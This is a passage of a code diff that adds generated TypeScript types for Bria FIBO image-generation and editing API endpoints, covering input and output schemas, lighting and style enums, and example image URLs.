@description The shadows in the image to be generated. + */ + shadows?: string | null + /** + * @description The conditions of the lighting in the image to be generated. + */ + conditions?: string | null +} + +export type PromptObjectFa5D5Bdb = { + /** + * @description The orientation of the object in the image. + */ + orientation?: string | null + /** + * @description A description of the object to be generated. + */ + description?: string | null + /** + * @description The appearance details of the object. + */ + appearance_details?: string | null + /** + * @description The texture of the object. + */ + texture?: string | null + /** + * @description The number of objects in the image. + */ + number_of_objects?: number | null + /** + * @description The pose of the object in the image. + */ + pose?: string | null + /** + * @description The relationship of the object to other objects in the image. + * @type string + */ + relationship: string + /** + * @description The clothing of the object in the image. + */ + clothing?: string | null + /** + * @description The expression of the object in the image. + */ + expression?: string | null + /** + * @description The gender of the object in the image. + */ + gender?: string | null + /** + * @description The skin tone and texture of the object in the image. + */ + skin_tone_and_texture?: string | null + /** + * @description The shape and color of the object. + */ + shape_and_color?: string | null + /** + * @description The location of the object in the image. + */ + location?: string | null + /** + * @description The action of the object in the image. + */ + action?: string | null + /** + * @description The relative size of the object in the image. + */ + relative_size?: string | null +} + +export type VglF5Be743D = { + /** + * @description The aesthetics of the image to be generated. + */ + aesthetics?: Aesthetics1F30141D | null + /** + * @description The background setting of the image to be generated. + */ + background_setting?: string | null + /** + * @description The style medium of the image to be generated. + */ + style_medium?: string | null + /** + * @description A list of text to be rendered in the image. + * @default [] + */ + text_render?: unknown[] | null + /** + * @description The context of the image to be generated. + */ + context?: string | null + /** + * @description A short description of the image to be generated. + */ + short_description?: string | null + /** + * @description The photographic characteristics of the image to be generated. + */ + photographic_characteristics?: PhotographicCharacteristicsF9B96776 | null + /** + * @description The lighting of the image to be generated. + */ + lighting?: LightingC8113626 | null + /** + * @description The artistic style of the image to be generated. + */ + artistic_style?: string | null + /** + * @description The edit instruction for the image. + */ + edit_instruction?: string | null + /** + * @description A list of objects in the image to be generated, along with their attributes and relationships to other objects in the image. + * @default [] + */ + objects?: PromptObjectFa5D5Bdb[] | null +} + +export type InputBriaFiboEditEdit = { + /** + * @description Mask image (file or URL). Optional + */ + mask_url?: string | null + /** + * @description Guidance scale for text. + * @default 5 + */ + guidance_scale?: number | number + /** + * @description Negative prompt for image generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The VGL of the image as it is now. With `new_vgl`, edits by the difference between the two. + */ + original_vgl?: VglF5Be743D | null + /** + * @description The VGL of the image as it should end up. Requires `original_vgl`. + */ + new_vgl?: VglF5Be743D | null + /** + * @description Instruction for image editing. + * @example change lighting to starlight nighttime + */ + instruction?: string | null + /** + * @description Random seed for reproducibility. + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Reference image (file or URL). + * @example https://v3b.fal.media/files/b/0a8b07e8/GYKVk2EVivg_MC3jRRZi3_png%20-%202026-01-13T094835.850%20(3).png + */ + image_url?: string | null + /** + * @description Number of inference steps. + * @minimum 20 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + steps_num?: number + /** + * @description A pre-built VGL document, edited from verbatim instead of building one from `instruction`. Send this or `instruction`, not both. + */ + vgl?: VglF5Be743D | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image4A64687B = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditEdit = { + /** + * @description Generated images. + * @default [] + * @example [{"url":"https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/ewT7wv-jMgkqs7z7xQNNL_e8707c299d034feab7a64d903118098f.png"}] + * @type array | undefined + */ + images?: Image4A64687B[] + /** + * @description Generated image. + * @type object + */ + image: Image4A64687B + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type InputBriaFiboEditEraseByText = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/an_empty_table_in_living_room.png + * @type string + */ + image_url: string + /** + * @description The name of the object to remove. + * @example Table + * @type string + */ + object_name: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image205A57B7 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditEraseByText = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: Image205A57B7[] + /** + * @description Generated image. + * @type object + */ + image: Image205A57B7 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export const inputBriaFiboEditRelightLightDirection = { + front: 'front', + side: 'side', + bottom: 'bottom', + 'top-down': 'top-down', +} as const + +export type InputBriaFiboEditRelightLightDirectionKey = + (typeof inputBriaFiboEditRelightLightDirection)[keyof typeof inputBriaFiboEditRelightLightDirection] + +export const inputBriaFiboEditRelightLightTypeEnum = { + midday: 'midday', + 'blue hour light': 'blue hour light', + 'low-angle sunlight': 'low-angle sunlight', + 'sunrise light': 'sunrise light', + 'spotlight on subject': 'spotlight on subject', + 'overcast light': 'overcast light', + 'soft overcast daylight lighting': 'soft overcast daylight lighting', + 'cloud-filtered lighting': 'cloud-filtered lighting', + 'fog-diffused lighting': 'fog-diffused lighting', + 'moonlight lighting': 'moonlight lighting', + 'starlight nighttime': 'starlight nighttime', + 'soft bokeh lighting': 'soft bokeh lighting', + 'harsh studio lighting': 'harsh studio lighting', +} as const + +export type InputBriaFiboEditRelightLightTypeEnumKey = + (typeof inputBriaFiboEditRelightLightTypeEnum)[keyof typeof inputBriaFiboEditRelightLightTypeEnum] + +export type InputBriaFiboEditRelight = { + /** + * @description Where the light comes from. + * @example front + */ + light_direction: InputBriaFiboEditRelightLightDirectionKey | null + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/bria_result+-+2026-01-13T095546.173.png + * @type string + */ + image_url: string + /** + * @description The quality/style/time of day. + * @example soft overcast daylight lighting + * @type string + */ + light_type: InputBriaFiboEditRelightLightTypeEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image02154184 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditRelight = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: Image02154184[] + /** + * @description Generated image. + * @type object + */ + image: Image02154184 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type InputBriaFiboEditReplaceObjectByText = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/a_bowl_of_fruits__should_have_a_red_apple.png + * @type string + */ + image_url: string + /** + * @description The full natural language command describing what to replace. + * @example Replace the red apple with a green pear + * @type string + */ + instruction: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageF08513B7 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditReplaceObjectByText = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: ImageF08513B7[] + /** + * @description Generated image. + * @type object + */ + image: ImageF08513B7 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export const inputBriaFiboEditReseasonSeasonEnum = { + spring: 'spring', + summer: 'summer', + autumn: 'autumn', + winter: 'winter', +} as const + +export type InputBriaFiboEditReseasonSeasonEnumKey = + (typeof inputBriaFiboEditReseasonSeasonEnum)[keyof typeof inputBriaFiboEditReseasonSeasonEnum] + +export type InputBriaFiboEditReseason = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/create_a_realistic_image_of_a_green_field_in_the_spring__also_add_trees.png + * @type string + */ + image_url: string + /** + * @description The desired season. + * @example winter + * @type string + */ + season: InputBriaFiboEditReseasonSeasonEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB9F0259F = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditReseason = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: ImageB9F0259F[] + /** + * @description Generated image. + * @type object + */ + image: ImageB9F0259F + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type InputBriaFiboEditRestore = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/png+-+2026-01-13T134151.337.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image0Aff6B19 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditRestore = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: Image0Aff6B19[] + /** + * @description Generated image. + * @type object + */ + image: Image0Aff6B19 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export const inputBriaFiboEditRestyleStyleEnum = { + '3D Render': '3D Render', + Cubism: 'Cubism', + 'Oil Painting': 'Oil Painting', + Anime: 'Anime', + Cartoon: 'Cartoon', + 'Coloring Book': 'Coloring Book', + 'Retro Ad': 'Retro Ad', + 'Pop Art Halftone': 'Pop Art Halftone', + 'Vector Art': 'Vector Art', + 'Story Board': 'Story Board', + 'Art Nouveau': 'Art Nouveau', + 'Cross Etching': 'Cross Etching', + 'Wood Cut': 'Wood Cut', +} as const + +export type InputBriaFiboEditRestyleStyleEnumKey = + (typeof inputBriaFiboEditRestyleStyleEnum)[keyof typeof inputBriaFiboEditRestyleStyleEnum] + +export type InputBriaFiboEditRestyle = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/high_camera_angle_warm_filter.png + * @type string + */ + image_url: string + /** + * @description Select the desired artistic style for the output image. + * @example 3D Render + * @type string + */ + style: InputBriaFiboEditRestyleStyleEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageE85Bd8D1 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditRestyle = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: ImageE85Bd8D1[] + /** + * @description Generated image. + * @type object + */ + image: ImageE85Bd8D1 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type InputBriaFiboEditRewriteText = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/create_an_image_of_cake__with_text_on_it_saying___Hi_there__.png + * @type string + */ + image_url: string + /** + * @description The new text string to appear in the image. + * @example FIBO Edit! + * @type string + */ + new_text: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageDdd3Cc11 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditRewriteText = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: ImageDdd3Cc11[] + /** + * @description Generated image. + * @type object + */ + image: ImageDdd3Cc11 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type InputBriaFiboEditSketchToColoredImage = { + /** + * @description The source image. + * @example https://bria-datasets.s3.us-east-1.amazonaws.com/Liza/create_a_b_w_sketch_of_a_cat.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image24146118 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBriaFiboEditSketchToColoredImage = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: Image24146118[] + /** + * @description Generated image. + * @type object + */ + image: Image24146118 + /** + * @description Deprecated, use `vgl`. The same document under the old name. + * @deprecated + * @type object + */ + structured_instruction: { + [key: string]: unknown + } + /** + * @description The VGL document the image was generated from. + * @type object + */ + vgl: { + [key: string]: unknown + } +} + +export type Aesthetics7Eefb61A = { + /** + * @description The composition of the image to be generated. + */ + composition?: string | null + /** + * @description The mood and atmosphere of the image to be generated. + */ + mood_atmosphere?: string | null + /** + * @description The aesthetic score of the image to be generated. + */ + aesthetic_score?: string | null + /** + * @description The preference score of the image to be generated. + */ + preference_score?: string | null + /** + * @description The color scheme of the image to be generated. + */ + color_scheme?: string | null +} + +export type Lighting726523F9 = { + /** + * @description The shadows in the image to be generated. + */ + shadows?: string | null + /** + * @description The conditions of the lighting in the image to be generated. + */ + conditions?: string | null + /** + * @description The direction of the lighting in the image to be generated. + */ + direction?: string | null +} + +export type PromptObject4Ae7D96C = { + /** + * @description The appearance details of the object. + */ + appearance_details?: string | null + /** + * @description The expression of the object in the image. + */ + expression?: string | null + /** + * @description The pose of the object in the image. + */ + pose?: string | null + /** + * @description The texture of the object. + */ + texture?: string | null + /** + * @description The number of objects in the image. + */ + number_of_objects?: number | null + /** + * @description The skin tone and texture of the object in the image. + */ + skin_tone_and_texture?: string | null + /** + * @description The relationship of the object to other objects in the image. + * @type string + */ + relationship: string + /** + * @description The relative size of the object in the image. + */ + relative_size?: string | null + /** + * @description The location of the object in the image. + */ + location?: string | null + /** + * @description The clothing of the object in the image. + */ + clothing?: string | null + /** + * @description The gender of the object in the image. + */ + gender?: string | null + /** + * @description The shape and color of the object. + */ + shape_and_color?: string | null + /** + * @description The action of the object in the image. + */ + action?: string | null + /** + * @description A description of the object to be generated. + */ + description?: string | null + /** + * @description The orientation of the object in the image. + */ + orientation?: string | null +} + +export type PhotographicCharacteristics23D39749 = { + /** + * @description The focus in the image to be generated. + */ + focus?: string | null + /** + * @description The focal length of the lens in the image to be generated. + */ + lens_focal_length?: string | null + /** + * @description The depth of field in the image to be generated. + */ + depth_of_field?: string | null + /** + * @description The angle of the camera in the image to be generated. + */ + camera_angle?: string | null +} + +export type StructuredPromptD259F468 = { + /** + * @description The aesthetics of the image to be generated. + */ + aesthetics?: Aesthetics7Eefb61A | null + /** + * @description The artistic style of the image to be generated. + */ + artistic_style?: string | null + /** + * @description The background setting of the image to be generated. + */ + background_setting?: string | null + /** + * @description The lighting of the image to be generated. + */ + lighting?: Lighting726523F9 | null + /** + * @description A short description of the image to be generated. + */ + short_description?: string | null + /** + * @description The style medium of the image to be generated. + */ + style_medium?: string | null + /** + * @description A list of text to be rendered in the image. + * @default [] + */ + text_render?: unknown[] | null + /** + * @description The context of the image to be generated. + */ + context?: string | null + /** + * @description A list of objects in the image to be generated, along with their attributes and relationships to other objects in the image. + * @default [] + */ + objects?: PromptObject4Ae7D96C[] | null + /** + * @description The photographic characteristics of the image to be generated. + */ + photographic_characteristics?: PhotographicCharacteristics23D39749 | null +} + +export const inputBriaFiboGen15TextToImageAspectRatioEnum = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputBriaFiboGen15TextToImageAspectRatioEnumKey = + (typeof inputBriaFiboGen15TextToImageAspectRatioEnum)[keyof typeof inputBriaFiboGen15TextToImageAspectRatioEnum] + +export const inputBriaFiboGen15TextToImageResolutionEnum = { + '1MP': '1MP', + '4MP': '4MP', +} as const + +export type InputBriaFiboGen15TextToImageResolutionEnumKey = + (typeof inputBriaFiboGen15TextToImageResolutionEnum)[keyof typeof inputBriaFiboGen15TextToImageResolutionEnum] + +export type InputBriaFiboGen15TextToImage = { + /** + * @description Aspect ratio. Options: 1:1, 2:3, 3:2, 3:4, 4:3, 4:5, 5:4, 9:16, 16:9 + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputBriaFiboGen15TextToImageAspectRatioEnumKey + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Random seed for reproducibility. + * @default 5555 + * @type integer | undefined + */ + seed?: number + /** + * @description Prompt for image generation. + * @example A weathered brown leather armchair in a sunlit study, cracked grain texture, soft afternoon light raking across the surface. + */ + prompt?: string | null + /** + * @description Output image resolution + * @default '1MP' + * @type string | undefined + */ + resolution?: InputBriaFiboGen15TextToImageResolutionEnumKey + /** + * @description The structured prompt to generate an image from. + */ + structured_prompt?: StructuredPromptD259F468 | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageF5D2D35D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputBriaFiboGen15TextToImage = { + /** + * @description Generated images. + * @default [] + * @type array | undefined + */ + images?: { + [key: string]: unknown + }[] + /** + * @description Generated image. + * @type object + */ + image: ImageF5D2D35D + /** + * @description Current prompt. + * @type object + */ + structured_prompt: { + [key: string]: unknown + } +} + +/** + * @description Photographic characteristics of the image. + * @type object + */ +export type PhotographicCharacteristicsDetails = { + /** + * @description E.g., 'eye-level', 'low angle', 'high angle', 'dutch angle'. + * @type string + */ + camera_angle: string + /** + * @description E.g., 'shallow', 'deep', 'bokeh background'. + * @type string + */ + depth_of_field: string + /** + * @description E.g., 'wide-angle', 'telephoto', 'macro', 'fisheye'. + * @type string + */ + lens_focal_length: string + /** + * @description E.g., 'sharp focus on subject', 'soft focus', 'motion blur'. + * @type string + */ + focus: string +} + +/** + * @description Lighting information for the image. + * @type object + */ +export type LightingDetails = { + /** + * @description E.g., 'bright daylight', 'dim indoor', 'studio lighting', 'golden hour'. + * @type string + */ + conditions: string + /** + * @description E.g., 'front-lit', 'backlit', 'side-lit from left'. + * @type string + */ + direction: string + /** + * @description Describe the presence of shadows. + */ + shadows?: string | null +} + +/** + * @description Text rendering information in the image. + * @type object + */ +export type TextRenderB1B96035 = { + /** + * @description E.g., 'small', 'medium', 'large within frame'. + * @type string + */ + size: string + /** + * @description Any other notable visual details. + */ + appearance_details?: string | null + /** + * @description E.g., 'red', 'blue', 'green'. + * @type string + */ + color: string + /** + * @description The text content. + * @type string + */ + text: string + /** + * @description E.g., 'center', 'top-left', 'bottom-right foreground'. + * @type string + */ + location: string + /** + * @description E.g., 'realistic', 'cartoonish', 'minimalist'. + * @type string + */ + font: string +} + +/** + * @description Aesthetic analysis of the image. + * @type object + */ +export type AestheticsDetails = { + /** + * @description E.g., 'serene', 'energetic', 'mysterious', 'joyful'. + * @type string + */ + mood_atmosphere: string + /** + * @description E.g., 'monochromatic blue', 'warm complementary colors', 'high contrast'. + * @type string + */ + color_scheme: string + /** + * @description E.g., 'rule of thirds', 'symmetrical', 'centered', 'leading lines'. + * @type string + */ + composition: string + /** + * @description E.g., 'very low', 'low', 'medium', 'high', 'very high'. + * @type string + */ + aesthetic_score: string + /** + * @description E.g., 'very low', 'low', 'medium', 'high', 'very high'. + * @type string + */ + preference_score: string +} + +/** + * @description Detailed object description with all attributes. + * @type object + */ +export type ObjectDescription = { + /** + * @description Describe the skin tone and texture. + */ + skin_tone_and_texture?: string | null + /** + * @description Describe the relationship between the object and the other objects in the image. + * @type string + */ + relationship: string + /** + * @description Describe the body position. + */ + pose?: string | null + /** + * @description E.g., 'small', 'medium', 'large within frame'. + */ + relative_size?: string | null + /** + * @description Describe attire. + */ + clothing?: string | null + /** + * @description E.g., 'center', 'top-left', 'bottom-right foreground'. + * @type string + */ + location: string + /** + * @description E.g., 'smooth', 'rough', 'metallic', 'furry'. + */ + texture?: string | null + /** + * @description Any other notable visual details. + */ + appearance_details?: string | null + /** + * @description The number of objects in the cluster. + */ + number_of_objects?: number | null + /** + * @description Short description of the object. + * @type string + */ + description: string + /** + * @description Describe the gender of the human. + */ + gender?: string | null + /** + * @description Describe the orientation of the human. + */ + orientation?: string | null + /** + * @description Describe the action of the human. + */ + action?: string | null + /** + * @description Describe the basic shape and dominant color. + */ + shape_and_color?: string | null + /** + * @description Describe facial expression. + */ + expression?: string | null +} + +export type StructuredPrompt9Ab75A5B = { + /** + * @description Provide any additional context that helps understand the image better. + * @type string + */ + context: string + /** + * @description Identify the artistic style or medium. + */ + style_medium?: string | null + /** + * @description Details about photographic characteristics. + */ + photographic_characteristics?: PhotographicCharacteristicsDetails | null + /** + * @description Explicitly describe any visible emotions or expressions on subjects. + */ + subject_emotions?: string | null + /** + * @description Describe the overall environment, setting, or background, including any notable background elements. + * @type string + */ + background_setting: string + /** + * @description Details about the lighting. + * @type object + */ + lighting: LightingDetails + /** + * @description describe specific artistic characteristics, 3 words maximum. + * @type string + */ + artistic_style: string + /** + * @description List of text renders in the image. + */ + text_render?: TextRenderB1B96035[] | null + /** + * @description A concise summary of the image content, 200 words maximum. + * @type string + */ + short_description: string + /** + * @description Details about the image aesthetics. + * @type object + */ + aesthetics: AestheticsDetails + /** + * @description List of prominent foreground/midground objects. + * @type array + */ + objects: ObjectDescription[] +} + +export const inputBriaFiboLiteGenerateAspectRatioEnum = { + '1:1': '1:1', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '9:16': '9:16', + '16:9': '16:9', +} as const + +export type InputBriaFiboLiteGenerateAspectRatioEnumKey = + (typeof inputBriaFiboLiteGenerateAspectRatioEnum)[keyof typeof inputBriaFiboLiteGenerateAspectRatioEnum] + +export type InputBriaFiboLiteGenerate = { + /** + * @description Seed for the random number generator. + * @default 7 + * @type integer | undefined + */ + seed?: number + /** + * @description Aspect ratio. Options: 1:1, 2:3, 3:2, 3:4, 4:3, 4:5, 5:4, 9:16, 16:9 + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputBriaFiboLiteGenerateAspectRatioEnumKey + /** + * @description The prompt to generate. + * @example Oil painting of a fluffy, wide-eyed cat sitting upright, holding a small wooden sign reading "Feed Me." Rich textures, dramatic brushstrokes, warm tones, and vintage charm. + */ + prompt?: string | null + /** + * @description Input image URL + */ + image_url?: string | null + /** + * @description If true, returns the image directly in the response (increases latency). + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The structured prompt to generate. + */ + structured_prompt?: StructuredPrompt9Ab75A5B | null +} + +/** + * @description Lighting information for the image. + * @type object + */ +export type LightingDetailsEee48B7D = { + /** + * @description E.g., 'bright daylight', 'dim indoor', 'studio lighting', 'golden hour'. + * @type string + */ + conditions: string + /** + * @description E.g., 'front-lit', 'backlit', 'side-lit from left'. + * @type string + */ + direction: string + /** + * @description Describe the presence of shadows. + */ + shadows?: string | null +} + +/** + * @description Photographic characteristics of the image. + * @type object + */ +export type PhotographicCharacteristicsDetails0D80F8Ed = { + /** + * @description E.g., 'wide-angle', 'telephoto', 'macro', 'fisheye'. + * @type string + */ + lens_focal_length: string + /** + * @description E.g., 'eye-level', 'low angle', 'high angle', 'dutch angle'. + * @type string + */ + camera_angle: string + /** + * @description E.g., 'shallow', 'deep', 'bokeh background'. + * @type string + */ + depth_of_field: string + /** + * @description E.g., 'sharp focus on subject', 'soft focus', 'motion blur'. + * @type string + */ + focus: string +} + +/** + * @description Detailed object description with all attributes. + * @type object + */ +export type ObjectDescriptionB0Ed7132 = { + /** + * @description Describe the body position. + */ + pose?: string | null + /** + * @description The number of objects in the cluster. + */ + number_of_objects?: number | null + /** + * @description Describe the action of the human. + */ + action?: string | null + /** + * @description Describe facial expression. + */ + expression?: string | null + /** + * @description Describe the gender of the human. + */ + gender?: string | null + /** + * @description Short description of the object. + * @type string + */ + description: string + /** + * @description Describe attire. + */ + clothing?: string | null + /** + * @description Describe the orientation of the human. + */ + orientation?: string | null + /** + * @description Describe the skin tone and texture. + */ + skin_tone_and_texture?: string | null + /** + * @description Describe the basic shape and dominant color. + */ + shape_and_color?: string | null + /** + * @description E.g., 'center', 'top-left', 'bottom-right foreground'. + * @type string + */ + location: string + /** + * @description Describe the relationship between the object and the other objects in the image. + * @type string + */ + relationship: string + /** + * @description Any other notable visual details. + */ + appearance_details?: string | null + /** + * @description E.g., 'smooth', 'rough', 'metallic', 'furry'. + */ + texture?: string | null + /** + * @description E.g., 'small', 'medium', 'large within frame'. + */ + relative_size?: string | null +} + +/** + * @description Aesthetic analysis of the image. + * @type object + */ +export type AestheticsDetails790D8A7E = { + /** + * @description E.g., 'serene', 'energetic', 'mysterious', 'joyful'. + * @type string + */ + mood_atmosphere: string + /** + * @description E.g., 'very low', 'low', 'medium', 'high', 'very high'. + * @type string + */ + preference_score: string + /** + * @description E.g., 'rule of thirds', 'symmetrical', 'centered', 'leading lines'. + * @type string + */ + composition: string + /** + * @description E.g., 'very low', 'low', 'medium', 'high', 'very high'. + * @type string + */ + aesthetic_score: string + /** + * @description E.g., 'monochromatic blue', 'warm complementary colors', 'high contrast'. + * @type string + */ + color_scheme: string +} + +/** + * @description Text rendering information in the image. + * @type object + */ +export type TextRender4F7E28C0 = { + /** + * @description E.g., 'red', 'blue', 'green'. + * @type string + */ + color: string + /** + * @description E.g., 'realistic', 'cartoonish', 'minimalist'. + * @type string + */ + font: string + /** + * @description Any other notable visual details. + */ + appearance_details?: string | null + /** + * @description E.g., 'small', 'medium', 'large within frame'. + * @type string + */ + size: string + /** + * @description The text content. + * @type string + */ + text: string + /** + * @description E.g., 'center', 'top-left', 